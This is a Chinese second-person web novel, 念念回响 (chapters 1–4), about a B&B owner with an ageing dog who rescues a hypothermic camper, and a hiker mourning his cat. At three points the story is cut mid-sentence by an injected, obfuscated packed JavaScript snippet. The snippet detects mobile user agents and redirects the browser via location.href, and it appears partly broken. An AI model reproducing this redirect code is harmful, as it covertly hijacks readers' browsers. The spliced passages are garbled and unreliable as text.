《念念回响》 1. 第一章 念念回响 文/朵滢然 上山替换红外相机存储卡的路有好几条。 而你只走你走惯了的那一条。 论起固执程度,你在亲朋好友里绝对排第一名。 担任生态护林志愿者的三年,你每天步数超过两万步,体重回到了二十多岁时候最轻盈的状态。 如果老夏还在,他一定很佩服你,并为你送上一个温暖的拥抱。 “春夜雨声”民宿正常营业,你迎来了多年未见的客人赵思忱。 十九年过去,小女孩已成长为亭亭玉立性情爽利的大女生,她的舅舅程燃没一起来。赵思忱说,舅舅带着他的研究生们去了海岛,本年度关于候鸟迁徙的研究课题一结束,舅舅会来北山林场找她,陪她滑雪,陪她完成小时候未尽的心愿。 你欣喜地看到赵思忱的双腿恢复良好,走起路来健步如飞。你没有细问,只是如多年前一样,帮她把行李搬进她曾经住过的房间,为她沏上一杯热茶,然后拿出巴掌大小的记事本,叮嘱赵思忱写下第二天的菜谱,方便你为她私人定制一日三餐和宵夜。 “姐姐,我发电子版的食谱给你好不好?”赵思忱灵动的大眼睛眨了眨,“我懒得写字。” “不行!”你回答得斩钉截铁。 “电子版不是更方便吗?”赵思忱疑惑不解,盯着你瞧了半天,忽然明白过来说怎么一回事,“你今天没戴眼镜……天哪,姐姐,你不会和我舅舅一样老花眼了吧?” 你坦然一笑,抬起手想轻抚赵思忱毛茸茸的卷发,却又收回手。 “很正常。我和程燃都是不惑之年了。” “你每天呼吸清新空气,吃天然健康食品,每时每刻看这些绿树绿草,怎么才过四十岁就老花眼呢?”赵思忱眉头蹙成一团,“姐姐,你不能像我舅舅那样,夜里睡不着就关灯刷手机,日复一日地顶着黑眼圈给学生上课,身体会吃不消的!” 你依然在笑。 这次你揉了揉赵思忱的头发,就像她小时候你经常做的那样。心头升起的淡淡忧伤,只有你自己感受得到。 上山的路有很多条,你只走悠悠帮你选好的它认为最安全的这一条。 悠悠的身体一天不如一天,你按照兽医开的医嘱,每天按时喂它营养补充剂和处方药。 三年前,你刚刚当上生态护林志愿者的时候,悠悠还能陪你上山替换存储卡,帮你找出林子里被盗猎者偷偷放置的捕兽夹,现在它膝关节支撑不了它走这么远的路,你出门前会安抚它很久,并在它泪光婆娑的视线中忍着心疼关紧民宿的门。 兽医说,金毛寻回猎犬能活二十岁是个奇迹,念月你已经做得非常棒了! 你不知足。 你想让悠悠陪伴你更久。 老夏走后,悠悠就是你惟一的精神支柱。 柯倩有一回打来电话,举了好几部宠物电影地例子,旁敲侧击地问你有没有其他想法,比如为悠悠选择“安乐”。 你听懂了柯倩的弦外之音。但你装作听不懂。你说,倩倩,在这件事情上,你让我再自私半年,就半年——半年之后,我会考虑你的建议。 柯倩与罗煦婚后不久即喜得麟儿,他们两口子翻了大半天的字典,却在孩子出生证明上用了你之前半开玩笑半正式给小孩起的名字。罗亦柯,没错,父母的姓氏全部包含在内,这是你从老夏配过音的一部电影中学来的起名方法。 罗亦柯没有继承父亲罗煦的衣钵学习京剧,也没有像母亲柯倩那样拿起相机奔走于各地赛场拍摄体育赛事,而是自三岁起他就展现出惊人的运动天赋。幼儿园小班罗亦柯开始在启蒙教练的引导下学习乒乓球,并在幼升小的过程中顺利考入乒乓球强校,多次代表学校打比赛,数次赢得男子组金牌和团体赛金牌。 五年级下学期一开学,省队的吴教练到小学挑乒乓球苗子,一眼看中了罗亦柯。十一岁入选省队,这在同龄运动员中虽不罕见,但罗亦柯凭借优秀的天赋和良好的手感很快打上主力,同年冬天的队内大循环比赛中,他获得第五名的好成绩。 此后,罗亦柯愈战愈勇。十五岁生日前,他实现了梦想,在大循环比赛中夺得第一名,顺利入选国家队。 今年年初,罗亦柯忙完紧张的赛事,提前发来信息,预定了民宿顶楼带阳台的房间,说是陪小姨待几天,顺便到这个天寒地冻的地方放空一下。 你为罗亦柯早早地准备了香薰精油和他最喜欢的浅蓝色纯棉四件套。柯倩忙于事业的那些年,罗亦柯的寒暑假,你全权负责他的衣食住行,包括每次比赛后的暂时休整,都是你在跑前跑后,毫无怨言。 你与柯倩情同姐妹,罗亦柯是你细心呵护下长大的孩子。 本来罗煦提议让罗亦柯认干亲,可是你和柯倩齐声反对。柯倩的想法是你当了罗亦柯的干妈,可能影响你的婚姻运子女运。你的想法截然相反,你没有再婚的打算,只想把“妈妈”这个称呼留给可爱的悠悠。 最后你和柯倩一合计,干脆就让罗亦柯喊你小姨。 这次和以往不同,罗亦柯没说住几天,却在聊天框里反复提及要介绍一个好朋友给你认识。 “小姨,我这位朋友,是我从小到大见过的最酷的人!就那种酷,不是冷酷无情,是帅得没边儿的酷。” 你婉言谢绝,说小柯你千万别打帮我介绍男朋友的主意,我不需要男朋友。 罗亦柯连忙解释:“不是,小姨,你误会了!我的这位朋友,能为你开的民宿带来巨大的流量。哪怕他只是拍几个镜头在他的视频里,春夜雨声也能爆火。真的,你相信我!” 你回复他:“春夜雨声不需要巨大的流量。我这儿的顾客全是有缘人和回头客。” 你明白罗亦柯是好意。 估计柯倩没少在罗亦柯面前念叨她对你的挂念和担忧。 他才会小小的年纪,就开始操心你后半辈子的大事小事了。 十九年,说长不长,说短不短。 你的收入来源主要是燕都和云城两套房子出租的租金、聆域配音工作室的分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029561|194525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红以及父亲和母亲逢年过节发的大红包。 “春夜雨声”远离滑雪场,来这里住宿的客人绝大多数都是喜欢森林深处的幽静,而非滑雪爱好者,他们中间有自由撰稿人,有自媒体从业者,还有热衷户外生存的极限运动高手。顾客的收入不稳定,所以经常出现房费收不上来的现象。你倒也不介意,极少催缴。当然,遇见逃单的人,你也不会心慈手软。 那些极个别人的身份信息,早已同步至辖区派出所。报案之后,警方处理迅速,逃单者面临治安处罚还是刑事追责,根据房费金额大小而定。 没有悠悠在身边陪着,思绪可真是飘得够远的。 你暗暗感慨一声,继续向安装固定了红外相机的那棵云杉走去。 说是上山,其实坡度不大。你心情好体力充沛的时候,通常一路小跑到达目的地。而今天,悠悠出门前的点点泪光,刺痛了你的心。 是不是不该这么自私?你扪心自问。 与其眼睁睁看着悠悠忍受身体上的病痛,不如及早做个打算…… 那是什么? 你注意到前方不远处有一顶灰褐色的帐篷。谁会在这深山老林里露营?你诧异不已,随即握紧了手中的不锈钢管。 森林管护站发放的强光手电筒和对讲机,你忘了带,却不想再次推开民宿大门看到悠悠楚楚可怜的眼神,只好顺手从院子杂物间拿了一根搭建蔬菜大棚的热镀锌钢管防身。 “谁?谁在那儿?!” 你鼓起勇气喊了一嗓子。帐篷里没有回应。 半年前,一支由十六人组成的登山队住进“春夜雨声”。你和队长小秦聊过几次,大概了解这些户外达人选择安全登山和露营的几个前提。 你虽然不是专业人士,却也能看出不对劲——此时出现在你眼前的这顶帐篷,半边倾斜,随风晃动得十分厉害。要么是帐篷本身损坏,要么是搭帐篷的人外出,帐篷被野生动物破坏导致变形。 还有一种可能。 你轻缓地呼吸着,呼出的气很快在冷空气中形成一团白色的雾。 防护手套里的掌心微微冒汗,你徐步上前,慢慢蹲下,借着勉强穿透云层的阳光向帐篷里望去。 好像……有个人躺在里面。 你不确定自己有没有看错。起身后,你稍稍站远一些,右手依然紧握钢管,左手轻轻拉开帐篷门的拉链。 呈现在视野中的,先是一只黑色睡袋。 帐篷靠里的位置,睡袋的右侧,横卧着一个上半身穿铁灰色短袖,下半身黑色短裤的男人。 你脑海里立刻蹦出一个专业词汇——失温。 户外失温,极其危险!不及细想,你进入帐篷,取出口袋里还没拆封的几片暖宝宝,分别贴在男人的颈部和腹股沟,随后脱下长款羽绒服包裹男人全身。 解锁手机屏幕,你拨通赵思忱的号码。 “忱忱,山上有人失温,需要急救,位置我发给你和杨站长。你马上沿着17号山路去管护站叫人,一定要快!” 2. 第二章 大学毕业的第二年,你辞了职,在曾经就读的中学旁边租了间不到三十平米的迷你一居室,开始埋头创作。 姐姐得知你辞职写小说,先是惊讶,而后便是欣慰和感动。她知道,这是你从小到大的梦想,你希望写一本优秀的能够打动人心的长篇小说,就像你的同乡前辈作家那样。 毕业后你吃住都在姐姐家,工作一年的积蓄足够你支撑到年底。雄心壮志促使你相信,你能在十月份完成你的旷世巨著,并且顺利地被出版社编辑看中,获得出版的机会。 乐观的人实力和运气都很不错。 你完成了你的初步目标,出版社的编辑也把联系方式留给了你。他答应看完稿子会给你最终修改意见,可是这一等,你就等了三个月。 潼城的冬天,干燥而寒冷。 你骑着你那辆陪伴你上学数十载的自行车,行遍潼城的大街小巷。偶尔你会遇见你的老同学,有小学的,也有初中高中的,他们大部分人都结了婚有了宝宝,向你发出邀请吃喜酒吃满月酒的人不在少数。 你全都拒绝了。 老同学说你不近人情,说你冷漠无情,你不在乎。 因为你在十八岁成年的那一刻,就坚定了此生孤独终老的想法,你没和任何人提起过,包括相依为命长大的姐姐。 父母过世得早,姐姐为了你能顺利完成学业,中考时她选择报考职专。不过回想起来,姐姐这个职专报对了——她十九岁那年,参加了秦绣非遗传承人的选拔,以第一名的好成绩成为张老师的关门弟子。 姐姐事业顺利,自然在物质条件上给予你最大的支持。 她出师之后,留在张老师的工作室,积攒了一些名气和人脉。做满五年,她成为独当一面的工艺美术从业者。 你高三刚开学,姐姐的丝雨绣坊正式挂牌成立。高三这一年,你们姐弟俩各自忙事业和学业,全都取得了不错的成绩。 姐姐作品的获奖消息传来,你被心仪的高校录取。 由于高考志愿是专业组报考模式,你没能进入最想去的专业。大二开学前,你参加了文学院的选拔考试,可惜以一分之差,转专业失败。 大学四年读完,你没有考公考研,而是应聘了离家很近的养老院院长助理岗位,并在工作的一年期间,积累了五万多字院内老人们讲给你的故事素材。 家长里短的激发了你对生活的思考,加速了你创作的进程。 初稿的写作和二稿的修改都很顺利,但是编辑迟迟不回消息,让你对自己的创作能力产生了深深的怀疑。 年关将至,你的积蓄几乎耗尽。 姐姐每月发给你的红包,你开通了零存整取,暂时不打算用这些钱。 在潼城教委任职的准姐夫,对你的自由职业身份极不满意。他找了个周末,亲自下厨做了一桌好菜,与你饮酒谈心,既是劝你尽早找一份自食其力的工作,又是半通知半警告地提醒你,等他和你姐姐结了婚,姐姐给你经济上的援助百分之百会中断。 你性格勇敢直率,向来不惧“威胁”。 饭桌上,你表明态度,不同意姐姐与准姐夫的婚事。原因很简单,你发现准姐夫是个典型的葛朗台式人物。交往四年,准姐夫送给姐姐价格最高的礼物,是一条纯银项链,市场价仅109块钱。 你举起酒杯,问准姐夫:“如果你对你自己也很抠,我无话可说。但你对你自己很大方。”你指着对面这位脸色青一阵白一阵的男人,继续说:“你的腕表,你的衬衫,你的鞋子,都是我姐送你的。单是这三件礼物,已经超过八万了。你的手机,是你自己买的,对吧?刚上市的最新款……” 准姐夫恬不知耻:“雨凝爱我,她心甘情愿送我礼物。虽说你是雨凝的弟弟,但你终究是我们这个小家庭的外人,你没有资格插手我们两口子的家事。” 你干了杯中酒,笑着反问:“我没资格?” “对,你是外人。” “外人?”你沉吟一声,点开手机相册保存已久的照片,举到准姐夫面前,“上个月13号晚七点,你谎称加班,在你的初中女同学家里逗留超过三小时。” 准姐夫猛拍饭桌,腾地站起来:“你跟踪我?” “照片不是我拍的。”你淡淡笑着,“说来也巧,你这位女同学的丈夫是我高中物理老师。当年我是物理课代表,我和老师是铁哥们……” “好了,别说了!”准姐夫建议听听你姐姐的意见,“我和雨凝的婚事,你有什么权利插手?” 你轻触手机屏幕,解锁后显示通话中。 “我姐全都听见了。稍后她会和你说清楚。”你起身,从随身挎包里取出两百元现金,“今天这顿鸿门宴,我不占你的便宜,食材酒水和加工费,我和你AA。” 姐姐和抠搜劈腿男成功分手,你为她买了一张飞去云城的机票。 “过年不要待在潼城了,这儿太冷,把人的心都冻透了。姐,你到四季如春的地方好好散散心。不要担心我,我有我的计划。” 大年初一,你整理好户外徒步的装备,启程前往潼城最北边的山区。那是你独自徒步远行的开端,也是你人生中最幸运的一次经历。 写作之余,你做了大半年的功课。关于徒步,你有你的想法。你并未加入任何徒步群,你甚至在行装上也近乎苛刻地精简再精简。但是你没料到,人生会在你不经意的某个瞬间,给你一个惊喜,却暗暗埋下悲伤的伏笔。 棉花糖小可爱,就是在那次徒步出现在你的生命里。 通体雪白的毛茸茸的小家伙,主动亲近你。它钻进你的帐篷,钻进你的睡袋,毛茸茸的脑袋瓜贴紧你的脸颊。它瘦弱的身体因你的体温而不再颤抖,它的喉咙和胸腔发出呼噜呼噜的声响,这让活了二十几年从未养过宠物的你,心瞬间融化了。 深山老林,人迹罕至,哪里来的小猫咪? 于是,你沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029562|194525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重的行囊,增添了一只两个月大幼猫的重量。 棉花糖是异瞳狮子猫。初见时它还未长开,因饥饿导致的营养不良让它的毛发紧贴皮肤,看上去可怜又潦草。随着你精心的喂养,狮子猫长毛的优良基因在它身上渐渐显现。 行至下一个补给点,你带棉花糖去县城宠物医院做了全面体检。 当医生告诉你它很健康,只是需要加强营养时,你心中悬着的大石终于落地。 寒冷的夜,被风吹透的帐篷,棉花糖与你相依为命。 它陪你翻过崎岖的峭壁,陪你走过白茫茫的雪地。在你不小心摔倒时,它会第一时间跑到你身边,用它带有毛刺的小舌头轻轻舔舐你被树枝划伤的手背,血止住了,你的心感受到了前所未有的宁静。 出不出书,出不出名,对此刻的你来说,不再重要。 很多时候,你觉得天地之间都是虚妄。只有棉花糖的陪伴是真实的。它对你的信任和依恋,抵过世间万千。 你对自己苛刻,却对棉花糖非常大方。猫包,定位器,鸡胸肉,专程去菜市场买的新鲜鱼虾。你开始拍摄短视频,把你和棉花糖徒步的经历分享给更多有缘人。 起初,视频的播放量极少。但有一期你躺在雪地里放空,棉花糖轻轻爬上你的左肩,用它毛茸茸地尾巴,盘住你的脖子。那一刻,你仿佛戴上了棉花糖为你专属定制的围脖。许多人看到这个画面感动不已,他们占领了你视频的评论区,言语之中尽是感慨。也有人晒出自家毛孩子,你终于知道,原来天下心软之人都有一个相同点——生怕亏欠。 你常常觉得没能给棉花糖安稳的生活而自责。 你想过走回头路,回到你租的一居室,或者回到姐姐为你置办的新房。但是你没有这么做。你像一头认为前面有更美味草料的倔驴,不仅没停下你的脚步,反而摁下了加速键。 接连几年的生日,你都在某处人迹罕至的山林度过。有棉花糖在身边,你不觉孤单。姐姐一直担心你的身体吃不消,你却轻描淡写地回复她“我一切都好,不信你看我的视频”。 真的,姐,我没骗你,我很好,棉花糖也很好——这是你和姐姐通电话最常挂在嘴边的一句话。 八年,一晃就过去了。 期间你回过五次家,有时是夏天,有时是春节。姐姐的事业发展顺利,你为她开心。姐姐多次劝你把棉花糖留在老家由她照顾,你没有同意。 或许你认为,徒步的路上没了棉花糖相伴左右,你的徒步就失去了意义。 在你三十一岁生日即将到来的前十天,你路过了那家景区。你不可能预料到意外会发生,与以往一样,你选择在景区外的空地露营。你在视频里与粉丝们分享,说这一天热闹非凡,先后来了七波当地的粉丝,他们都是来看棉花糖的。 然而下一条视频,身处午夜陌生街头的你悲伤无助。你向当地粉丝求助,问哪里能买到冰箱,一个小小的车载冰箱。 3. 第三章 幸好杨站长提前联系了救护车,露营者被迅速转运去县医院,得到了及时救治。 接到电话的那一瞬,悠悠恰好趴在你的脚边。它还像小时候一样,下巴搭在你的脚背上,只是鼻头有些发干,不再像它小时候那样黑亮亮湿漉漉。 挂机之后,你轻轻蹲下,把悠悠揽入怀抱。 “宝贝,妈妈今天走了你为我选的那条上山的路。多亏了你,妈妈救了一个人,这是你的功劳。” 悠悠闷哼一声,慢慢眨了眨眼睛。 “今天午餐吃牛肉好不好?”你轻抚悠悠的脑袋瓜,“昨天柱子叔叔送来的新鲜牛肉,待会儿我煮一块,用料理机打成肉泥……” 呜—— 悠悠忽然仰起头,朝门口的方向长呼出声。 你循声望去,玻璃门外站着一个熟悉的身影。 “磊哥?” 门被推开,曹磊裹着一身寒气走进屋子。悠悠没有起身,朝门口方向摇摇尾巴,以最简洁的方式表达了欢迎。 “小月,有吃的吗?我这深一脚浅一脚地翻山越岭,饿得前心贴后心,马上低血糖晕倒了……” “早餐剩下的芹菜肉包还有六七个,在蒸箱里保着温呢。”你摸摸悠悠的后背,把它挪到沙发前的地毯上趴好,“我记得你不爱吃芹菜,嫌味儿大。要不我还是给你煮方便面打两个荷包蛋吧?” “不用,有什么我就吃什么。”曹磊从门口鞋柜取出一双一次性拖鞋换上,“怎么就你一个人看店?罗亦柯那小家伙呢?” “说来话长。” 你把早餐过后上山替换红外相机存储卡的过程简述一遍,告诉曹磊幸好有罗亦柯和赵思忱两个年轻人帮忙,否则以你自己的体力,没法跟车护送露营者跨越三十公里去县医院。 曹磊朝你伸出大拇指:“不愧是你,小月,你是我们大家的骄傲。” 你摇摇头,说这都多亏了悠悠。如果不是它帮你选定的专属上山路线,你也不可能发现失温的露营者。 曹磊笑了,走到洗手池边认认真真洗了手。“让我好好抱抱我们的大功臣——对了,小月,你这儿有没有脱脂奶粉,帮我冲一杯,我还在减脂期,食物热量越低越好。” 你应声转去一楼大厅西侧的厨房,很快端出一盘包子。 “磊哥,奶粉缺货。”你递上筷子和温热的豆浆,“先喝这个,稍后我找柱子大哥补货。” “好嘞!”曹磊席地而坐,左手搂着悠悠,风卷残云似的吃光了包子。 大概是有点噎住了,他喝口豆浆,拍拍胸口说:“我这次来,有两个原因。一是罗亦柯发出郑重的邀请,让我留在春夜雨声过完元旦再回去;二是我惦记你和悠悠,顺道在县城拉了一车物资,有速冻食品,还有饮用水、方便面和一些常用药。货车停在山脚下,等雪停了我雇几个人,把这些吃的喝的给你搬上来。” 你明白曹磊和罗亦柯的苦心。 七天后就是老夏的生忌。他们担心你触景伤情不能自已,特地跑来陪你。这份情谊,你无以为报。 十九年来,曹磊兢兢业业地照看着聆域配音工作室的生意,同时还把他个人的部分收入用来救助流浪动物。期间,他经历了一次失败的婚姻。和初恋的重逢是无限的惊喜,共同生活两年又因性格不合再次分离,给他对爱情的信仰带来巨大的冲击。 朋友们都是贴心的,谁都不会主动提及令曹磊伤心的往事。 你看着曹磊渐渐消瘦,却不知从何安慰。老夏是了解你的,他说你共情能力很强,却不懂得如何安慰别人。老夏还说过,这样也好,安静的陪伴远胜过苍白的言语。 你和曹磊四目相对,默然无声地交换着彼此的想法。 “磊哥!”你忽然想到了什么,声音不禁有些颤抖,“罗亦柯除了邀请你陪我们一起跨年,是不是还有别的附加原因?” 曹磊先是有些晃神,很快反应过来:“你不问我差点忘了。没错,他说要介绍一位重量级的牛人朋友给我认识。这小子口才真好,在电话里把他那位朋友吹嘘得天花乱坠,说什么从来没有人比他朋友更厉害。” 你接了杯温水,搁在曹磊触手可及的茶几一角,随即拨通罗亦柯的手机。 “小柯,你的牛人朋友转入普通病房了吗?” 对面显然愣住了,许久才开口:“小姨,太震撼了,这都能被你猜到?他现在在普通病房,正在打吊瓶输糖盐水。” 你深吸一口气,小声问:“你好好照顾他,和我保持联系。忱忱呢?在你旁边吗?” “在。我把手机给她,你们聊。” 听筒里传来赵思忱的轻声细语:“姐姐,你不要担心,这个人中途醒过来一次,这会儿又睡着了。” 你握紧手机,掌心微微冒汗:“忱忱,我拜托你帮个忙。等下你回来的路上,去一趟大集。我把采购清单发给你,东西比较多,你尽量一次买齐。” “没问题!”赵思忱答应得非常爽快,“我办事,你放心。” 挂断电话,你缓缓叹了口气,一转头瞧见曹磊高举右手,他主动请缨帮你去镇上大集置办必需品。 “不了,磊哥,我已经把任务交给忱忱了,她能搞定。” - 布置好罗亦柯隔壁的房间已是深夜。 悠悠还不肯睡,固执地趴在房间门口等你。它闷闷不乐的模样,有几分像你们刚来北山农场开民宿的时候。 “起来吧,悠悠,跟妈妈回去休息。” “嗯。”它的声音听上去像个懂事的孩童。 下到二楼转角平台,赵思忱房间的门开了。“姐姐诶,”她小声说,“本来说好陪你一起打扫309,结果我太困睡着了。” 你摆摆手,对她说早点休息,明天记得按时起床,错过早餐供应时间就没饭了。 赵思忱赧然一笑。尴尬被你轻松化解,她整个人的状态也好多了。“姐姐,你洗漱吧,我和悠悠去你的卧室待一会儿好吗?” “行。”你笑了,“正好你帮我给悠悠刷个牙,清洁指套和牙膏在床头柜二层抽屉里。” “收到!”赵思忱弯下腰,朝悠悠伸出双臂,“来吧,好狗狗,今晚我要多亲你几口。” 听了这话,悠悠十分开心。它摇摇尾巴,不疾不徐地下了楼梯,跟在赵思忱身后进了111房间。 一夜无梦。 无需闹钟,你在五点十五分准时醒来。 发了一分钟的呆,你起身换上保暖的家居服,又在最外面加了一件浅灰色的轻型羽绒服。地毯上的悠悠翻个身,睁眼看看你,像是在问要不要起床陪你准备早餐。 你摸摸它的脑袋瓜,为它加了一层珊瑚绒毯。“睡吧,多睡会儿,妈妈做好饭再来叫你。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029563|194525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>来到厨房,轻轻掩上门,你先是核对了手机里保存的电子版菜单和厨房门后挂的手写版,确认无误后,你有条不紊地找齐食材,穿好围裙,开启一天中第一时段的忙碌。 今天民宿将迎来数十名游客入住。 曹磊送来的物资,对你来讲,真是解了燃眉之急。好朋友正是如此,从不多问,却能精准地解决许多难题。 罗亦柯昨晚发信息说,他那位朋友下午就醒了。验血报告也出来了,暂时看着身体并无大碍。顺利的话,他们俩会早早办理出院,赶在午餐前返回民宿。 你打算让罗亦柯的朋友暂住309房间。那间房虽然窗户朝北,室内温度偏低且稍显冷清,但房间内饰和窗外风景是整栋民宿里最好的。 先这么安排吧。你想,等来滑雪的那两波客人退了房,就给他换朝南的房间。 做好早饭,你按房间号通知住客下楼用餐。 赵思忱不用通知,她早早地等在餐桌旁,右手边坐着睡眼惺忪的曹磊。热气腾腾的牛肉面一上桌,赵思忱突然红了眼圈。 “姐姐,你知道吗?我想吃你亲手煮的牛肉面,想得天天哭鼻子。” 你端来一杯热牛奶,拿纸巾擦去她的泪水。“吃吧,不够了再去厨房加面。这个假期,你想吃什么尽管说。会做的,不会做的,我都做给你吃。” 赵思忱破涕为笑:“哎呀,我的鼻涕泡都笑出来了!” 你怜惜地帮她擦脸,转身给曹磊端上一盘标准的减脂餐。“磊哥,吃完饭你陪我上一趟山行吗?小柯朋友的装备需要拿回来,我一个人搬不动。” 曹磊拍拍胸脯:“这点小事,你吱声就好了,别跟我客气!” - 午饭时分,你为罗亦柯和他的朋友留了两份米饭炒菜,却迟迟等不到人。 打电话过去,电子音提示罗亦柯的手机已关机。这孩子,出门太急忘了带充电宝。不知怎的,你的右眼皮忽然开始跳。望着客厅西南角两个特大号背包,你的心也跟着狂跳不已。 出去迎一迎他们吧。你实在是不放心。 穿上最厚的防风羽绒外套,你往背包里装了两条围巾和两双手套,都是买给罗亦柯的,还没拆包装,希望能派上用场。 你把住客登记的事宜交给赵思忱,把悠悠托付给曹磊照顾,立刻动身前往回民宿必经的主干道。 冬至刚过几天,北山日落的时间没有明显的变化。 太阳西斜,余晖洒向雪地,你每走一步,都仿佛踏在镶了金粉的长毛绒地毯上。 远远的,你发现了一辆抛锚的私家车停在林场入口不远处。 而罗亦柯那身火红的羽绒服,在雪地里异常耀眼。 听见你的脚步声,罗亦柯猛然回头,紧接着双手用力挥动:“小姨,太好了,小姨你来了——” 他身旁的男人也看向你。 离得远,加上你没戴近视眼镜,你看不清对方眼神里蕴含的多重内容。直到你走近,你才注意到他脸上一点感谢的表情都没有。 不等罗亦柯帮你们相互介绍,男人忽然开口了:“我能问你两个问题吗?” 你出于礼貌,微微颔首:“你问吧。” “第一个问题,那么多条上山的路,你为什么偏偏走了那一条?”男人稍作停顿,继续发问,“第二个问题,我和你素昧平生,你为什么救我?” 4. 第四章 棉花糖发生意外,你停更了半个月。 粉丝们不清楚发生了什么。他们陷入焦急和迷茫,在你求助的那条视频底下不停地询问,互相交换着已知的信息。 直到你发了一条棉花糖躺在废弃果园枯树下的视频,粉丝们的心理防线瞬间崩溃了。大家看着长大的异瞳狮子猫,刚刚过完八岁生日备受网友喜爱的电子小猫,却毫无征兆地尸横荒野。 评论区人声鼎沸,而你只有一个念头——将棉花糖带回老家,妥善安葬。 又过了半个月,你恢复更新。每天一条视频,细数棉花糖出事之后你全部的遭遇和经历。但是很快,你的多条视频被隐藏了。 你没有解释是平台所为还是被人投诉导致的。 再次更新,已是深秋。你在对准山川河流拍摄的镜头中,语速平缓地,感谢了这几个月帮助你的粉丝朋友。他们有的帮你买车载冰箱,有的帮你租车开回老家,有的在网上发布消息寻找景区附近自驾游的私家车,有的为你提供行车记录仪视频影像资料。 众人牵挂你,不仅因为你是棉花糖自己选中的铲屎官,更是因为你独特的个人魅力。 你最不在乎的,就是你自己。 外貌、身材、博学、文采,对你而言,都不重要了。 可是某天傍晚,你接到一个来自工作过的养老院的电话。默默听完爷爷奶奶安慰的话语,你的眼泪夺眶而出。 你内心尚未结痂的伤口被不经意地撕开了。 姐姐还没做好心理准备,你再一次不告而别。背着沉重的行囊,继续走上棉花糖没能陪你走完的北上之路。 此次徒步的目的地是冷极根河市。虽然这是你早就选定的路线,但你心里有种别样的想法。你甚至做好了一去不回的打算。 一路北上。 你拜访了帮助过你的所有粉丝朋友,送他们礼物的同时,他们也回馈给你许多生活必需品。 那位提供行车记录仪有声录像的大哥,屡次提出开车送你到最近的国道。他察觉出你的疲惫,不忍心看你就这么靠自己磨出茧子的双脚,一步一步地走向你从未抵达的目的地。 你婉拒了大哥的好意。 这一路,你拒绝了许多人的好意,粉丝的,还有陌生人的。 棉花糖的离开,让你对除了姐姐之外的所有人不再信任。你最恼怒和责怪的人就是你自己。真相拼图拼凑完整的时刻,你最不能原谅的人是你自己。 你像疯了一样,每天只休息三到四小时,其余时间全部用来行走。 日夜兼程地走,不顾身体不适仍要继续走。当你即将进入大兴安岭南段苏克斜鲁山,你收获了一位重量级的粉丝——乒乓球运动员罗亦柯。 说来也巧,你几乎不看粉丝发的私信,却在那天日落时分点开了其中一条信息。 本来你以为是恶作剧,当你回关罗亦柯,看清他实名认证的信息,才相信这事并没掺假。成为互关好友,罗亦柯比你还高兴。他会在训练间隙给你发私信,和你分享他生活中的趣事。 “子墨大哥,今天我没吃晚饭,悄悄发信息给队友让他帮我带两个鸡蛋灌饼,教练发现了叫我见面分一半,没办法,最后我只吃了一个鸡蛋灌饼,睡觉前肚子饿得咕咕叫。” “子墨大哥,我用AI辅助作曲软件写了一首歌,有机会当面唱给你听。” “子墨大哥,我体重超标了,决定每晚快走五公里减肥,你把你的鞋推荐给我吧!我要买双一模一样的。” 立冬节气将至,你和罗亦柯已成为没见过面的知己好友。他对你的称呼从“子墨大哥”变成了“墨哥”,有次他还调侃,说你往北走我就叫你“墨北哥”,将来你抵达根河市再折返回老家,我就叫你“墨西哥”。 罗亦柯不知道你真实的想法。 他播撒着小太阳般的热情,你却固执地没有接受这份心意。 小雪节气过后,你行走的路线接近大兴安岭北段的起始点,手机因为极寒天气频繁关机,你的身体水土不服,感冒加上腹泻让你不得不选择住店休整。短暂的三天里,罗亦柯至少提及了十次他的小姨,他说要把小姨介绍给你认识,他还说你们在灵魂层面有很多共通点,一定能够成为非常要好的朋友。 你拒绝得斩钉截铁:“我不需要新朋友。” “志同道合的朋友也不行吗?”罗亦柯试探地问,“我小姨人品一等一的好,她在北山开了间民宿,她养的金毛犬年龄很大了却很健康,她在各个方面都是很好很好的人。” “不行,我一个新朋友都不想结交。”你一边敲下文字,一边承受着胸口的疼痛,“你的好意我心领了。” 身处绝境,自己的一颗心已然坠入万丈深渊,你怎么可以把好人拉下水?包括隔着网线认识的罗亦柯,你不能让你内心深藏的绝望影响到他。 正式进入大兴安岭北段的前一天,你选中一处与棉花糖初遇时极为相像的山坡,搭好帐篷等待日落。从清晨收拾行装出发算起,到抵达这个露营地,你只喝了两瓶五百毫升的水,并不感到饥饿。 夕阳隐没在山梁后面,灰紫深蓝交错的暮色如帷幕般笼罩四野,周围的一切像是沉入不见底的深潭,你的胸口又一次隐隐作痛。 冷极之旅计划敲定,姐姐押着你到市医院做了全面体检。报告出来,各项指标都正常,她才放下心,同意你开启新的旅程。 